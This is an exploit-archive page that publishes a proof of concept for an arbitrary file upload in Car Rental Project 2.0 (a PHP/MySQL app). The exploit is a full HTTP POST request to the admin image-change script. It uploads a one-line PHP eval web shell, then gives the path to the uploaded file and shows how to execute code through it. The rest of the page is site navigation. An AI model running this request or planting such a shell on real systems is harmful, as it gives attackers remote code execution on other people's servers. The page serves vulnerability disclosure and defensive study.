Car Rental Project 2.0 Shell Upload

Authored by Jannick Tiger

Posted Feb 3, 2021

Car Rental Project version 2.0 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 65f51a4b07c713587a34abda8ba812f7ee50ba7f89824f43182541e082438954 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Car Rental Project 2.0 - Arbitrary File Upload to Remote Code Execution
# Date: 3/2/2021
# Exploit Author: Jannick Tiger
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/car-rental-project-php-mysql-free-download/
# Version : V 2.0
# Vulnerability Type: Arbitrary File Upload
# Tested on Windows 10 、XAMPP
# This application is vulnerable to Arbitrary File Upload to Remote Code Execution vulnerability.
# Vulnerable script:


POST /carrental/admin/changeimage1.php?imgid=4 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------346751171915680139113101061568
Content-Length: 369
Origin: http://localhost
Connection: close
Referer: http://localhost/carrental/admin/changeimage1.php?imgid=4
Cookie: PHPSESSID=te82lj6tvep7afns0qm890393e
Upgrade-Insecure-Requests: 1

-----------------------------346751171915680139113101061568
Content-Disposition: form-data; name="img1"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST[pp]);?>
-----------------------------346751171915680139113101061568
Content-Disposition: form-data; name="update"


-----------------------------346751171915680139113101061568--



# Uploaded Malicious File can be Found in :
carrental\admin\img\vehicleimages\1.php
# go to http://localhost/carrental/admin/img/vehicleimages/1.php,Execute malicious code via post value
phpinfo();
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat	201 files
Ubuntu	78 files
Debian	24 files
LiquidWorm	23 files
malvuln	12 files
nu11secur1ty	11 files
Gentoo	9 files
Google Security Research	8 files
T. Weber	4 files
Julien Ahrens	4 files

File Tags

ActiveX	(932)
Advisory	(79,754)
Arbitrary	(15,694)
BBS	(2,859)
Bypass	(1,619)
CGI	(1,018)
Code Execution	(6,926)
Conference	(673)
Cracker	(840)
CSRF	(3,290)
DoS	(22,602)
Encryption	(2,349)
Exploit	(50,359)
File Inclusion	(4,165)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,660)
Intrusion Detection	(867)
Java	(2,899)
JavaScript	(821)
Kernel	(6,291)
Local	(14,201)
Magazine	(586)
Overflow	(12,419)
Perl	(1,418)
PHP	(5,093)
Proof of Concept	(2,291)
Protocol	(3,435)
Python	(1,467)
Remote	(30,044)
Root	(3,504)
Ruby	(594)
Scanner	(1,631)
Security Tool	(7,777)
Shell	(3,103)
Shellcode	(1,204)
Sniffer	(886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX	(426)
Apple	(1,926)
BSD	(370)
CentOS	(55)
Cisco	(1,917)
Debian	(6,634)
Fedora	(1,690)
FreeBSD	(1,242)
Gentoo	(4,272)
HPUX	(878)
iOS	(330)
iPhone	(108)
IRIX	(220)
Juniper	(67)
Linux	(44,315)
Mac OS X	(684)
Mandriva	(3,105)
NetBSD	(255)
OpenBSD	(479)
RedHat	(12,469)
Slackware	(941)
Solaris	(1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us
- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By
- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed